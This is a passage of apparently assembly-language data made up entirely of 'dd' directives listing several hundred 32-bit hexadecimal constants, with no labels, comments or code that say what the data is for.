dd 30370021h, 65C35411h, 9EA7FE96h, 8FA44B04h, 12FF70FDh
dd 0F517DFh, 0D9A005C3h, 0FFA52EC0h, 0E4B7D9F3h, 4486629Fh
dd 8409F8E9h, 6FC3432Dh, 38560F16h, 5AF27537h, 256451ECh
dd 3BAFADDEh, 0F2BAA5F9h, 2CFE68A8h, 0FD37E877h, 8D0DF2E8h
dd 0E9D82007h, 0BBA2F678h, 41B1D912h, 4A3B6939h, 58A9C5C9h
dd 6FE3845Fh, 6FB0F51Bh, 569CBB76h, 331D4F31h, 0FB2134F8h
dd 26203E5Ah, 4F0E49EBh, 0DF57E3ADh, 3FF1F88h, 0C1A596E0h
dd 1044A345h, 1C8D9F16h, 3462E73Bh, 0BFEED00h, 9903ECAFh
dd 8432D727h, 0EB296E80h, 85ECB8B7h, 594BB32Fh, 3B566F12h
dd 5AF5B53Fh, 2564D19Ch, 5AACAA3Eh, 58800681h, 805F6B49h
dd 0D8B655DEh, 6E4F8C54h, 60AC7DDEh, 778B369Dh, 6CB3E912h
dd 9AC42948h, 0B948B9FCh, 0DBE1C129h, 88AF878Bh, 4664AEEEh
dd 0F8028DDEh, 34242E8Ch, 70D412FFh, 0C2A2E91Dh, 0DD52603Fh
dd 0BCC7E75h, 8AA5452Bh, 108E35FCh, 0B3E9D6D9h, 0EA9D075Ah
dd 9916EC66h, 40DF0CD0h, 0E52AD5A5h, 2391957Eh, 1151F6Ah
dd 0B05DC4C1h, 0D13E5F0Fh, 4D8A1D9Eh, 0DA4D252Bh, 3BA8918Dh
dd 30515BD1h, 2CF470BFh, 30E8087h, 0D94C0517h, 0E5B20CA9h
dd 4C6B5A5Dh, 94A66EBAh, 9E4F29A7h, 0AB9B7124h, 90BB6CB0h
dd 0A7EC0CB4h, 0A96BC691h, 0E74E5026h, 0E81AB73h, 0DC990F18h
dd 4F76590Bh, 78481CECh, 9FE2BB9Bh, 9B5D150Dh, 1D7DC99Ah
dd 7DC56170h, 531EF484h, 60A2692Fh, 4DB14459h, 9BC7D643h
dd 0EB86EA81h, 72DB5BF9h, 4F2C1345h, 0FEB140F5h, 0BF0CCAAAh
dd 0DA5F5D1Bh, 11DF86EDh, 0E6C6A512h, 0AD480BDAh, 5B7F0BF6h
dd 8AA401C4h, 91923961h, 23EAD5C4h, 60AC46EDh, 0FC7C5F13h
dd 0E50531BAh, 861F57BFh, 3875D1A0h, 7786704h, 0BD5A4F30h
dd 53235A4Eh, 7317940Bh
dd 0E7AA8986h, 0DDC3B5F5h, 0E2D0C6EEh, 7ED196C9h, 0E74D210Fh
dd 0D91575C6h, 0D38D0860h, 0A1B0CC15h, 0FF9BEFC0h, 37D95554h
dd 14AC8F11h, 450BB89Dh, 508214FAh, 38CCF71Eh, 0A7867517h
dd 0CA8D57CBh, 3BFB6536h, 0F29D5AAEh, 0AC4F2155h, 0CB48D98h
dd 9D3ADB92h, 927380A5h, 5FAB7A9Dh, 77A5A567h, 683A9582h
dd 8F991424h, 4BBD6CB0h, 37E00CB7h, 768C2577h, 0D1F6EE96h
dd 0A8A27362h, 0FCF87A8Fh, 7B765902h, 4AB7E317h, 6F174F70h
dd 0A6E07F79h, 27CF2A80h, 0DC00FDAh, 0E39C62B1h, 81B0EF64h
dd 3CF61557h, 31DA1AABh, 4F7E6162h, 0ECBC1B4Dh, 0ABDB49B9h
dd 0C6F9A5EAh, 0B212ECE0h, 0DA7D1F7Bh, 7F85902Dh, 678B5591h
dd 0C4BFE0C0h, 13674583h, 62CE82FFh, 62EA885Ah, 710ADD14h
dd 0EBDA7915h, 6EC579FAh, 814AB998h, 0A56D4425h, 0D7695220h
dd 0C795D6EBh, 87CC4F36h, 3B611EBBh, 49988F15h, 4007B6FDh
dd 23C7D326h, 0B79E4F1Dh, 0C2B0687Eh, 0EE5CD58Bh, 0E84C6126h
dd 8E625804h, 0E1B0E230h, 0B4320742h, 1B22085Bh, 1482896Dh
dd 0F02AC59Fh, 6951E319h, 0E1D0CF7Eh, 0EB870AC7h, 31C85D32h
dd 1FE073Dh, 0C571452Dh, 0F5447480h, 0F34F3977h, 0B90C0517h
dd 3631EC9Eh, 5112CB1Eh, 505A0912h, 24CD60D4h, 1A1F0617h
dd 0D449D445h, 0FBD50579h, 0FE943E29h, 67620F31h, 9DCBC6D6h
dd 0CC0D98FAh, 13764188h, 0A6481AE4h, 851237CBh, 6CA58E2Fh
dd 248E11A7h, 0ECC66309h, 951AC70Ah, 58B09ED0h, 40A9369Dh
dd 9B37EEB8h, 0D7FB8687h, 74D20D03h, 604EAB0Bh, 39ACBB75h
dd 87D0350Fh, 321E2BE1h, 2F69D0D1h, 0FCD292B4h, 25A6FEEAh
dd 5D27F1CDh, 6D3333FFh, 432A98A4h, 0BA673D14h, 0E157B722h
dd 7855A922h, 7D554599h, 79E43B26h, 0CFBF9915h, 3680CECBh
dd 4469A506h, 7B343EEFh, 8D0217B1h, 9C2102F0h, 0E2750F57h
dd 0A994B8F6h, 0EB660E2Ah, 57114B9Ch, 252A35FBh, 0A99EE111h
dd 7C5F0910h, 59A7FA97h, 35E4D43h, 0FC667DAAh, 7B058FC9h
dd 0D3FBC154h, 29F9EF4Eh, 4D146108h, 50AB523h, 0EC145E29h
dd 11955C91h, 4C87D140h, 0CCBF35F0h, 8A712D92h, 5068AEB3h
dd 55654B62h, 844322Fh, 64216AC9h, 6BD5D0B5h, 0AC1D94A4h
dd 0D51E0CBFh, 0C604568Bh, 0CDF2A0E9h, 0E4A1D223h, 173CA600h
dd 0C16AB079h, 0EF1F1156h, 6B4EC4F8h, 4B4DD7ECh, 6B2055Fh
dd 0C900D63Eh, 0B46095D5h, 8E971ACh, 9B0904AAh, 0A775EE25h
dd 97AFF826h, 9A10816h, 0B82CBAB2h, 8FD603B2h, 0B2B3BB3Ah
dd 80844090h, 0D51D16A9h, 8C916CEEh, 0A326B685h, 7ED5DAE2h
dd 0C6EBB9F7h, 49B34353h, 26E62162h, 0C5DA221h, 0EE74EA7Ch
dd 0B990C6ACh, 1EA809F5h, 0F4E6F082h, 0CA7D888Ch, 3E36B290h
dd 0F292292Ch, 16B6449h, 0CBD75539h, 4B333884h, 3D037A8Eh
dd 40CFB497h, 5FAD50DAh, 29087F59h, 0A461CC87h, 2ABADC10h
dd 430BE7A3h, 0B7CF89F9h, 945E28F8h, 817C2900h, 786491C1h
dd 3DB1DD2Dh, 774D512h, 84102C00h, 0D885706Dh, 5589EA9Ah
dd 0B3BFD2BFh, 0DC00173Eh, 0F2CCE962h, 6CB14CA4h, 0B5CEBE59h
dd 47112E22h, 72551670h, 0CBBF7347h, 1AFAF167h, 701A0C2Ah
dd 8D24FA18h, 91287255h, 0FF9279EAh, 0B626D57h, 99610172h
dd 0E9751555h, 9C94CCFCh, 2B652A1Eh, 0E08D542Bh, 367DEABFh
dd 1A7CBC7Ch, 0D8EDD813h, 15965746h, 377CFB24h, 49C95E24h
dd 957793E8h, 0B84C85C2h, 0B498EAAAh, 4FEBC82Ah, 4DE02E86h
dd 57658F39h, 0BB0AA229h, 78A6A4BFh, 0D421F763h, 2C616B50h
dd 96DAFD3h, 0EFE58599h, 18ED466Ah, 0A111AD5Ch, 0E0FF4CACh
dd 3F828465h, 0D8A7336Dh, 0AB965CDh, 0B1307265h, 841DA88Ah
dd 0D8E864CEh, 8C551429h, 0CAB2760Dh, 0D2E8C8FAh, 0D32EAF6Eh
dd 0F8B28EC3h, 24895BCDh, 0C460756Ch, 0B5E59075h, 0F6C1804Dh
dd 0B4D1E356h, 0EBFBB485h, 0E099491Ah, 3E316A09h, 0C5861B56h
dd 4B1BF2DEh, 2FD9591Ch, 0D59B7BEFh, 82652B24h, 39C5EBFh
dd 2B5B2E0Dh, 76BBADE9h, 0D0F138B3h, 22745FFAh, 4E0BB13Ch
dd 0A4A36927h, 70FA034Ah, 0EA0F7B67h, 64367696h, 9C2CC154h
dd 0B7E83C29h, 0A41ED6B4h, 0C8028CDDh, 0D9DBD01h, 21777408h
dd 4612FDB1h, 56AC370Ah, 16B2553Eh, 0A9035722h, 0BE604ED6h
dd 6E4A60A3h, 0C6B33D54h, 0CCC80AACh, 97A5FEA1h, 9B0422h
dd 4455E12Fh, 3B5FC8CAh, 0C82F484Fh, 4419266Fh, 2563A980h
dd 68FEA992h, 4B77173Fh, 6CD02577h, 1B44F9C7h, 0F0D177C3h
dd 678CC7CBh, 0B8D57929h, 98D6ACE0h, 617EBABAh, 1501211Dh
dd 1DEB0CABh, 79D3D126h, 0C518DA7h, 3A1414A7h, 8BAD09CEh
dd 21EBBE7Eh, 20C80CF0h, 0BCF8AA83h, 3AF4A8F1h, 6F4D84A8h
dd 5EBFDC8Eh, 175B8D23h, 0A5BA713h, 8F56F0D4h, 0E422CA28h
dd 995F6F6Ch, 7AD1DF62h, 530D5A06h, 0C5C5E38Ah, 357633C4h
dd 0E604A943h, 0B1997118h, 8B0C242Fh, 0DC645CBBh, 64A34DFh
dd 27E70AE9h, 630E5657h, 0A321681Ch, 0D051732Ch, 9DD819A3h
dd 8B2995BBh, 1D0D4670h, 0EAE137ABh, 7AAA3178h, 0CF5DB14Ch
dd 8AFCD160h, 0CB0D32F4h, 0CE43C4F6h, 0AA3CF50Ah, 0BBE8D8CBh
dd 0A35BB0ABh, 2BC8AA0Fh, 3EB74h, 1498CEFCh, 0D3F11EDDh
dd 40390EABh, 0E9241756h, 0EBA9FFE9h, 6D75541Fh, 44B5FF14h
dd 0BF16F419h, 6B3ED88Fh, 4B0AE6B7h, 276509F8h, 1060F812h
dd 0D1665303h, 37445B01h, 0D3F90EE9h, 0B3C3D42Fh, 173B816Dh
dd 0D2D5BC27h, 6DA1ABA3h, 8792F43h, 0B7F7EE92h, 5207F746h
dd 2DDFC14Dh, 0E0ACA5BCh, 153128ECh, 0B4938576h, 0CFD15A86h
dd 3037F352h, 0BEC0A2FCh, 34A4B8FBh, 0A0C83802h, 0C1FC34F5h
dd 39B666BBh, 0F538E50Dh, 7F908BE7h, 0E01FFFF4h, 153C196Fh
dd 7EE37D6Ch, 0EC2AC502h, 0C538137Eh, 0C33EB4C8h, 4F85E626h
dd 0D99E7542h, 8A50052Dh, 48652BFh, 0B731735h, 0D5018DE9h
dd 573E669Ch, 23E1B16Dh, 5FBFD92Fh, 96F3ECA8h, 32293ABDh
dd 193E0E7Ch, 6B3570DFh, 2813FFCDh, 0B84DB483h, 30AC25A2h
dd 74B7895Dh, 0FF7F9A9h, 0B34856C8h, 8291D7FDh, 5B757109h
dd 0CECE8507h, 66FAD0D0h, 0F114019h, 7BA39511h, 1FFA802Ah
dd 3407EAA9h, 0D674F338h, 414E031Dh, 0B7AAB7F3h, 34D9BA1Ch
dd 463B7D3Fh, 36F1B1D6h, 0C6C8A642h, 0A8796AE8h, 0C5896A43h
dd 0EC02CD47h, 0F58C8915h, 73653ED9h, 0E2EE5E6Fh, 26407CA6h
dd 3BF3D6D2h, 9BB92699h, 0E8390709h, 0F5FC3261h, 0BE1833AFh
dd 52600918h, 0A050D8D7h, 462C1B54h, 0B5A45DFCh, 0D960FBF7h
dd 0BCEB1E78h, 0DFA833FBh, 0D9C19ADBh, 68050B1Eh, 0DB940C4Bh
dd 8A77A8B2h, 8F7DF294h, 0E4FA9A57h, 9AEF776Eh, 7A3E2766h
dd 504D7A3Eh, 0CB45A19Ah, 4E76B3A4h, 0E805A883h, 0AF9F769Eh
dd 0AA7E7C91h, 0D88CAFBFh, 6480C794h, 0F4013B19h, 0BC710CA7h
dd 585CAB1Dh, 0B0566D4h, 93E20EC4h, 6BBC468Fh, 54F1446Dh
dd 7FF5F00Bh, 61918ED7h, 1F424B73h, 0EB9228Ch, 86088EF4h
dd 3464547Dh, 925FFDF7h, 19EB2CF6h, 0DF546AF3h, 0ABCB1AE0h
dd 76386062h, 0DF6A30C3h, 24621056h, 2A7D6687h, 33F87953h
dd 620A1A04h, 6220B17h, 14E33607h, 5E9A7088h, 0A0BA3D2Fh
dd 0CD61B07Bh, 0D367A915h, 5F402913h, 58833E29h, 0E186AC87h
dd 0AC677793h, 24E9ABA3h, 93BBFEE0h, 59197DA9h, 132CA6ECh
dd 697B456Dh, 2309015Dh, 9BA70D03h, 4E1037EAh, 3F203DDEh
dd 738ED893h, 549DB04Dh
dd 4BB5AB12h, 3D60AD65h, 0BAFB5288h, 0CEF41883h, 98B10E03h
dd 98118FADh, 0BB958D6Ah, 4A7EA8F2h, 747DF31Bh, 61491DF5h
dd 0E819EA9Fh, 756017BDh, 0D2C5253Eh, 8B751781h, 35065892h
dd 2A63779Ch, 0AE638927h, 516ABE68h, 0BC8FA942h, 0EB6774FEh
dd 0C668D89Fh, 46B3769Ch, 46646491h, 0E2D90E2Bh, 90D986D6h
dd 0D0939591h, 5D077B16h, 8710E634h, 0CD0C30E9h, 656442Dh
dd 0D5E4AEB7h, 0D8378F73h, 0CB195B10h, 0DA32280Fh, 41EB34CEh
dd 0DB521AC9h, 9C1E3AE8h, 86FF4393h, 5A1F27A2h, 5C498492h
dd 4384EC9Ch, 0D3FF1D97h, 0E801E5ECh, 3012BC11h, 47D52937h
dd 0DDA6257Dh, 35C22904h, 4E07A390h, 0DADA82FDh, 4F82A3ACh
dd 0D53AA590h, 0E3633171h, 9B196646h, 64A0F4A7h, 0FC04CFF5h
dd 232EF6C2h, 7E66AAACh, 9EFFF262h, 8C067B15h, 0B00B470Bh
dd 5A62CF1Fh, 6C2BBB8Fh, 0AA6EDD47h, 328A9F18h, 8FDC5687h
dd 326E4A1Ah, 0F81BCF34h, 0DD5F61F5h, 0EAB18414h, 9EFB0ED6h
dd 9B446325h, 49EEC4A2h, 44F9DC9Bh, 6145FFDFh, 0E8012E9Eh
dd 75509FBFh, 0D33A3532h, 8B0BF7FEh, 367A1882h, 2B14F7FCh
dd 0B07288E4h, 8D24B1E8h, 2D5E2F4Fh, 3E78CC87h, 8CB495C7h
dd 95B0AB44h, 0EED2DFC8h, 0EF8BF17Dh, 0DB7C16ADh, 0A6F6CAACh
dd 45FA84E0h, 3040B320h, 958D6907h, 95926F4Eh, 75812656h
dd 7696898Fh, 81442DF4h, 706C95FDh, 46A1756h, 28A46F33h
dd 5E30D76Fh, 6900F78Dh, 0EE18647Dh, 2E5FDF2Ah, 0E59265F4h
dd 0E70D50EEh, 52779BACh, 8A246110h, 0B9C46145h, 0CD734FFAh
dd 327D5282h, 35A418CCh, 30A0B08h, 0CE3F5B53h, 0EC8CB804h
dd 5054088h, 938D9116h, 80836EA3h, 4B3B42F2h, 37D6BC73h
dd 0B5D05625h, 0D5C98C84h, 9372DD1Fh, 2B83294Dh, 101ECE7Ah
dd 7C5E31CDh, 0D66A1797h, 816AC95h, 70DF536Ah, 3149A4EDh
dd 4D10CC49h, 0AB29C7F4h, 0A8B12D1Bh, 0AD710F9Eh, 842B1A85h
dd 3D64A30Dh, 85827F6Dh, 1BC3C010h, 9272B11Eh, 7A1B6311h
dd 792F2D9Dh, 0B6F87F48h, 9023A33h, 3CC1045Dh, 0B7E58DD8h
dd 0B21043BFh, 2DD66928h, 0AD3D6F87h, 8F5B6DEAh, 96905C5Fh
dd 0B636ECF9h, 0F0DE313Ah, 597096ADh, 2D6D1462h, 49638708h
dd 0EF76AB36h, 1E438B47h, 0C57037ACh, 49A85295h, 29A08B63h
dd 0A9E0575Ch, 3CA6D33Dh, 0E14A93E1h, 0CBF9785Fh, 10AB5FF2h
dd 8F57DDA9h, 0C84E0BCAh, 92A0DF70h, 0C08A3103h, 6C53BD44h
dd 9EEF4B93h, 0C0696C9Fh, 0FC4A2247h, 356DC1C6h, 0C6875617h
dd 0A0F008D3h, 5BEB92BDh, 5DEE6FB7h, 2DD547A8h, 91396D07h
dd 0E35369EBh, 0E42EDE9Ch, 3BD73ED4h, 0CAC0096Fh, 5AF9F517h
dd 0ECAB2D6Ch, 0C12A94E0h, 0CF360D3Dh, 7CA83004h, 0A27DC135h
dd 0DE72D6D0h, 393877E6h, 65A05C92h, 2D375948h, 0BBC47688h
dd 0BCFA7CD8h, 2172944h, 29541718h, 0A46AF077h, 3429456Ch
dd 40FF5F9Ch, 0D99498A0h, 98BB29Dh, 7FA127D4h, 49CB6F88h
dd 2773F12Eh, 33C2FE68h, 0CA01AE60h, 765C778Dh, 0BDE51CCAh
dd 573B5740h, 0A6DF6B3Eh, 765B952Ah, 99078EDFh, 0C3A7BE91h
dd 0BA151419h, 86230102h, 86353A93h, 0AAD618A0h, 92DC0550h
dd 0F1FA107Bh, 0A97517F5h, 0FE603695h, 3B1877E6h, 0F19F8C0Ch
dd 858A73A0h, 0CC14CC94h, 577FA51Ah, 834B61B0h, 9914F1A5h
dd 1E6A3AD7h, 41A0D369h, 0BFC1BA4Eh, 683638AAh, 318A8FE7h
dd 75ECB147h, 3AC772B3h, 35F7FD0Fh, 0FC79A97Fh, 0DAF112CFh
dd 0CC529515h, 0B304E713h, 8E2EBF78h, 152466BBh, 53ACE3FDh
dd 793F4B54h, 0B79731F9h, 4ECE513Ah, 6AF1A952h, 3E9F4DCDh
dd 58DB27F0h, 83CFE2C9h, 4FCF2Fh, 0FE6A58B0h, 16012A90h
dd 0F0E72707h, 712FA0E3h, 4BC8F4CBh, 61902472h, 0D2276B33h
dd 47F9D9BFh, 0B1F4FDCEh, 37A8B9BDh, 0B1B02385h, 8DB3492h
dd 47E2BA25h, 7FFB091h, 0B01B842Eh, 0A9C796B9h, 35D78C4Eh
dd 0C1045147h, 93A8C2E3h, 3BED0FD2h, 1DFB3E5Ch, 0FDF4A910h
dd 5C7F6778h, 6323BD93h, 69D7CBFDh, 0C3AC0B81h, 0B6F9F878h
dd 76617952h, 0E9AA489Ch, 5D9509B0h, 79299899h, 85A330C6h
dd 7107B49Fh, 0DD8926FFh, 0CFD877C7h, 0B11FA8E7h, 4323B124h
dd 6691DC9Dh, 14CEB5B8h, 0D3BE9338h, 0B96EF50Bh, 0B45FDBDh
dd 65D5DC75h, 3DE22D38h, 110DAA95h, 8BEABEE9h, 0EFF4883Bh
dd 49EB72B6h, 20F8D122h, 0D98675F3h, 0F29923F9h, 0CCF879CDh
dd 4D171579h, 0FD832AD0h, 98D08A87h, 3F9486A2h, 6945CB36h
dd 0B75871F9h, 485F913Ah, 0F7AB2952h, 14911560h, 0BED17840h
dd 172B3AA1h, 29BDCFF9h, 1345B409h, 5F114C95h, 97A848D2h
dd 0F151C30Eh, 33F327DBh, 70133CDh, 7AB49432h, 0FF4ED67Fh
dd 5DACE49Ah, 23FD2ADDh, 19B02245h, 7F858B6Bh, 8EF2D30Ch
dd 58092A9Ch, 0B80C9AC7h, 3AC71EB7h, 0CA57C5DAh, 0C97A3952h
dd 0C9196A93h, 2617391Dh, 5DEAC584h, 0DDE276BFh, 21D28C87h
dd 3F908AACh, 39A313D9h, 0E7C02B1Ch, 16695CA7h, 0C357DCADh
dd 7106D56Ch, 2C2D7B5Ah, 0D2A4FE0Dh, 49D0CF7Ch, 5CB5B89Fh
dd 7EFED921h, 0A203B19Eh, 0D499213Eh, 0D961E150h, 2D108A15h
dd 76F29CB1h, 0A9C8BE89h, 7CECE179h, 68953AC8h, 2EF02E40h
dd 40869F12h, 0E53520Ah, 0E7C72B1Ch, 901B9CC0h, 0A9C7EE17h
dd 0C53BE4E5h, 0BA6EF94Fh, 930E9D0Bh, 0C3D5DCFEh, 0A5EAA8ECh
dd 2DDD42F4h, 8C67C0D8h, 8EA02CFAh, 89206888h, 48B25479h
dd 0F262D1D5h, 0D6C356ADh, 0FF79446Ah, 0AC2FF4F5h, 812F98D9h
dd 5EF6D8F9h, 301C4B0Ah, 57C13236h, 377D8807h, 22CFA81Ah
dd 0FF823532h, 52FC9563h, 0F65B6B05h, 8B11461h, 900211DEh
dd 2B8252DDh, 0C14832B4h, 5985C0D4h, 1B448B32h, 7DFF2E60h
dd 0C8B3E6C1h, 802F06BDh, 0B607D91Bh, 36D6F5F3h, 0CA0DE2B6h
dd 59E9D34Dh, 788350ACh, 0C345D40h, 863E808Ah, 9AC401D2h
dd 1CD7E25Ah, 0DF362491h, 5571800Ah, 32E662BAh, 0F2D466Ch
dd 0AD2CC843h, 833198D9h, 0AA5958F9h, 64A5A4F5h, 0C421269Ah
dd 0D8187BD3h, 32E308F4h, 7F48CECAh, 0A2E480AEh, 0CCB16BD1h
dd 705ED671h, 99F4E54Ch, 0D8E13AE5h, 0E1B4175Bh, 0D5852F47h
dd 74F2443Ah, 0E7EB609Ch, 0EDE490C2h, 0A9C7DAAFh, 0CAB37BFAh
dd 886E90C0h, 9F2A35Eh, 3BCD3A36h, 3AEA43EFh, 0A8FFB1F4h
dd 15305287h, 625F4D9Dh, 77C8EBFFh, 0A2D90E81h, 555105DEh
dd 32412938h, 3342604h, 0AE5F6CF0h, 2BB0F2C9h, 969C93F5h
dd 9B5EA4F4h, 8894887Eh, 47E846E8h, 3E5FA423h, 0FCEB8125h
dd 86EBDC9Bh, 0AA46922h, 12AAF370h, 0A4FBE175h, 0CB95C715h
dd 8C4C072Bh, 0A5852EA7h, 0F4F24AAAh, 0EA0B6361h, 0A01B92C3h
dd 0A9C7F379h, 0C8FC0CF1h, 0EC79C927h, 0DAF27D43h, 0CDED1B62h
dd 68172B2Ch, 3DDAB148h, 0FB3EA178h, 43801516h, 66F70D4Ch
dd 49C20B6Eh, 60CE892Ah, 226A174Ah, 0FCF4E093h, 862194E0h
dd 0FD350CE9h, 53B01506h, 0A342A4F5h, 7741D8BEh, 992452E8h
dd 9660B8E1h, 91B75AEAh, 5E20E965h, 0C15B84C3h, 0FB4E28BDh
dd 45C83DC5h, 6759F629h, 9D6CEE08h, 4F168D4h, 5BB3Fh, 0D176573Ah
dd 963A6C9Ah, 309E0283h, 41DBB4C9h, 405CA021h, 9D32D282h
dd 991D2974h, 0C43833B3h, 0EE821618h, 513FA0Ah, 0E5968843h
dd 20ACE3B0h, 438BBDC6h, 4D4C32D5h, 0CA566AD1h, 26B456Fh
dd 48CFF160h, 0E337E769h, 0A986303Eh, 0CC4CB4F5h, 1C712695h
dd 0C52FFE14h
dd 8C205706h, 0FE7429A6h, 2CE88913h, 6B582F98h, 0E1B9D2F0h
dd 0F104F10Dh, 0BB18BFE1h, 0B72B22F4h, 0FCFC4A6Dh, 0E4022E7Ah
dd 60F96189h, 757427FEh, 0BFFE1685h, 0B9A12B71h, 0F09639E7h
dd 1A65CC65h, 0BAEF5E5Eh, 5E0CCAE9h, 2D28DDE1h, 0A30B197h
dd 86F4CD81h, 7428805Dh, 3C064B18h, 7419A96Fh, 3D1AC9F3h
dd 72EDFC7Ch, 514425F5h, 0E700E2C9h, 265CA7F6h, 762EB515h
dd 7724AF92h, 6964FCh, 0A0FA811h, 5220ABDFh, 2D152C1Ah
dd 0A52D9205h, 130B5D75h, 0F2F0B488h, 2523A10h, 5058B5DAh
dd 32F34020h, 1E7B4CB2h, 9C0CE01Dh, 8513A48Bh, 39C7FA87h
dd 341D040Dh, 8C02091Fh, 0CBFCA8EFh, 0ABC7F4EAh, 750FB59Ch
dd 0A6883DD0h, 10E376C2h, 76CBE986h, 60671B65h, 3B1A5B1Ah
dd 4322F53Fh, 363A1042h, 0EDE995FBh, 669C0DE1h, 82B0E522h
dd 0F59DBB05h, 785B405h, 67062986h, 7A99797h, 0B6D6AA23h
dd 0F3722F2Dh, 0EA9FF17Ah, 42B11ECAh, 0E65ED197h, 0EA1D85D5h
dd 8E1EC4DBh, 0E1A0CF88h, 17755119h, 0E5120E8Bh, 9EFBAA1Bh
dd 920FAA8Ah, 323BBB02h, 35F02D6Bh, 0C6992017h, 2A6FD394h
dd 3512BC1Ch, 0C7EE70A5h, 683FBB05h, 0F92F077Fh, 0EF33559Dh
dd 3323FF19h, 3BA19B6Dh, 4775E16Fh, 399DB5D7h, 0CEAC57Ch
dd 6F9F0FE0h, 3591F7F0h, 28F120F9h, 2362B21Eh, 0B781D63Ah
dd 0E478DBB5h, 39A32BF3h, 93B75481h, 2F11B990h, 0AD892CFh
dd 9EC5E692h, 91447925h, 0E07D7D0Fh, 942BD751h, 0BC38C8ECh
dd 0EF1ED893h, 5576835Dh, 7DA1D730h, 0E542F600h, 0E10918Ah
dd 0C4FC954Ah, 411426B8h, 275A1728h, 4CEEE869h, 0A48EDDD0h
dd 78C4F7Fh, 0A4EACB9Fh, 4D0461D5h, 0B07666ACh, 78A04E3Ah
dd 385D396Fh, 0AD77327Ch, 84DB746Ch, 4C3035F0h, 7860B329h
dd 0C575F17Ch, 27258785h, 3516714h, 0FF0F3FECh, 0C4B4A53Ch
dd 5D514592h, 554D0A3h, 7773EA4Bh, 2614F22Dh, 8B09999Bh
dd 0F6992F34h, 83AAD66Fh, 24718D38h, 0E7BAE59Fh, 21454D22h
dd 80D7F67Dh, 0E59796B1h, 4A889874h, 8F64BBE3h, 0C39608ADh
dd 75E54925h, 0A9BB9105h, 56E506Ah, 66339095h, 3583D020h
dd 5CEC476Dh, 37A08411h, 0CC54E265h, 5318C1ABh, 95A48410h
dd 5261F2C9h, 7005C4BCh, 460D4459h, 0C64A69E3h, 0D2E472EBh
dd 94BEB8E2h, 0FA7A42Ch, 6A4849B3h, 0BDA48529h, 14B65278h
dd 0E8EF14ADh, 0C26D7B3Dh, 442BD762h, 2C3FCAAAh, 0EF0ECE15h
dd 52748146h, 7DA6D8D2h, 8233B0E4h, 0C55C1FAEh, 0C4FC6B7Fh
dd 4119FB58h, 275A68E8h, 4CED53E9h, 0D5F1EDD0h, 59EB560Ch
dd 0EFD7E9E6h, 0B68D4319h, 0ED20FBE4h, 0AA1170C6h, 0B1E96CD9h
dd 0FFC0C070h, 0D03E94E0h, 7566CB31h, 0B283009h, 0AE303FE6h
dd 0C0218A35h, 0A9219C04h, 78D440A7h, 61722D24h, 12FC8904h
dd 9F2F696Ah, 0F7145895h, 48E8A75Ah, 1E1EC4ECh, 89E3B6CBh
dd 60BBB9CBh, 0CD28059Eh, 1385E4D0h, 0C06F6AB2h, 49775689h
dd 29898AAEh, 0C97927E2h, 91B3E1D3h, 0F08E6C14h, 4C1DB0A1h
dd 92396740h, 56E5487h, 0C226C43h, 9260DBA3h, 88C1BE91h
dd 265C995Eh, 3810DCADh, 86F8C56Ch, 95B684C5h, 0D18971C9h
dd 0FC6366AAh, 0BF65C90h, 0B41AA39Eh, 0DE4BFA52h, 0C91BADD9h
dd 85C1B4DCh, 6894C9B4h, 0DDD68529h, 1FC4392Eh, 225DF2D1h
dd 0C395529Ch, 51A02AB7h, 0BC3F861Bh, 64F28C9Dh, 0EBDD8541h
dd 6BDAEDBh, 5138093Eh, 35009AA8h, 0C9E37284h, 0CAF8511Bh
dd 6C10D9FDh, 19655B2h, 203D0430h, 56E5687h, 0A59A0D9Fh
dd 760804D1h, 0F24BE91h, 424CB92Ah, 6BF52007h, 5214123Ah
dd 85C20FE8h, 0AE5E2D40h, 0FE3343FDh, 0DD33B082h, 4BA12AD3h
dd 0AE002713h, 0BADFA8E6h, 89BCA818h, 9E9D3C8Eh, 5FA0E200h
dd 5C108EA5h, 0CE89318Ch, 1C29B5B6h, 0B1A03F27h, 839FC816h
dd 67A18471h, 62FF6170h, 79A1DC2Ah, 7E3FB0FCh, 350066E3h
dd 0D9627B57h, 43E5FB68h, 76587898h, 99446A0h, 0D1F1E84Ch
dd 557A1D0Ch, 36D7B89Dh, 26F086D1h, 0B0CBFEF9h, 5723B13Ah
dd 0FC936952h, 845C4C7Ch, 97767CB5h, 82B17BC9h, 0B671DC70h
dd 566D0B78h, 7F6C2696h, 23C87714h, 0BAFA21B7h, 0D8E4A030h
dd 8E4947D8h, 0BAB4E0A2h, 0FF0B5C7Dh, 0FC8FA481h, 0F4C668BAh
dd 915CC732h, 0B4BAC453h, 9887B594h, 0C8766978h, 7AD553CDh
dd 0E7980DFEh, 68EC13F9h, 0EE35F69Ch, 0CAEDBE93h, 60360868h
dd 0C9F55E3Ah, 0A4B462D7h, 0FA916744h, 63B206E9h, 9DF703DFh
dd 0BCD41389h, 4A08F27Dh, 28787A02h, 0E78E450Fh, 95B19004h
dd 507B364Ah, 2E766F3Fh, 29D877A8h, 0E6ADAB96h, 23A87714h
dd 6ABA21B7h, 0DC27F957h, 0D7188904h, 82ACD0A2h, 7F4DAA95h
dd 0ADC071D1h, 46CEE0B7h, 0F1DFB2E4h, 0D39FC816h, 0F48701CBh
dd 1BBAE65Ah, 8DA1DA77h, 0DA579D29h, 0A0E88A9Eh, 4A897B53h
dd 964AE47h, 34AF5A98h, 8A154CA7h, 0A4B47B44h, 5835025Fh
dd 0F65765D5h, 0E69843CCh, 2038FE01h, 0D2DD89BAh, 52F66007h
dd 0EBEAAD93h, 0ADDA94E0h, 0BD7DF2BDh, 75240506h, 0DF39B4F5h
dd 0C10126B3h, 2F64F414h, 0B3C8FEB1h, 89DD4CB9h, 84076F67h
dd 9963CC29h, 7B4ED181h, 0BE121AD1h, 14FF38B6h, 0DDE5B476h
dd 483FCA13h, 739464D2h, 0D37C6D0Ch, 61A1D830h, 463BB8F8h
dd 35009872h, 0A380904Fh, 0D90356B5h, 0F08A817Dh, 13F94D67h
dd 603F379Eh, 8E73A77h, 66C7F116h, 0B55537D5h, 9714F301h
dd 424D392Ah, 6BF62007h, 5212123Ah, 85C60FE8h, 0D805A49Ah
dd 252C7572h, 5646731Dh, 0D1F5A596h, 271D872Dh, 3834776Bh
dd 68BE5BEDh, 0D84F92D0h, 0DEDB18EAh, 24AB5828h, 0C114B75Ah
dd 0AB997D3Dh, 61A87AADh, 1E312Bh, 0F7546492h, 0D37C6D0Fh
dd 0DE27D831h, 54A3620h, 35009AB1h, 0EE35F637h, 0CAEDBEA3h
dd 0B808B00Eh, 0BE3995A8h, 0ED317D40h, 0ED3E47F3h, 66C78C7Ah
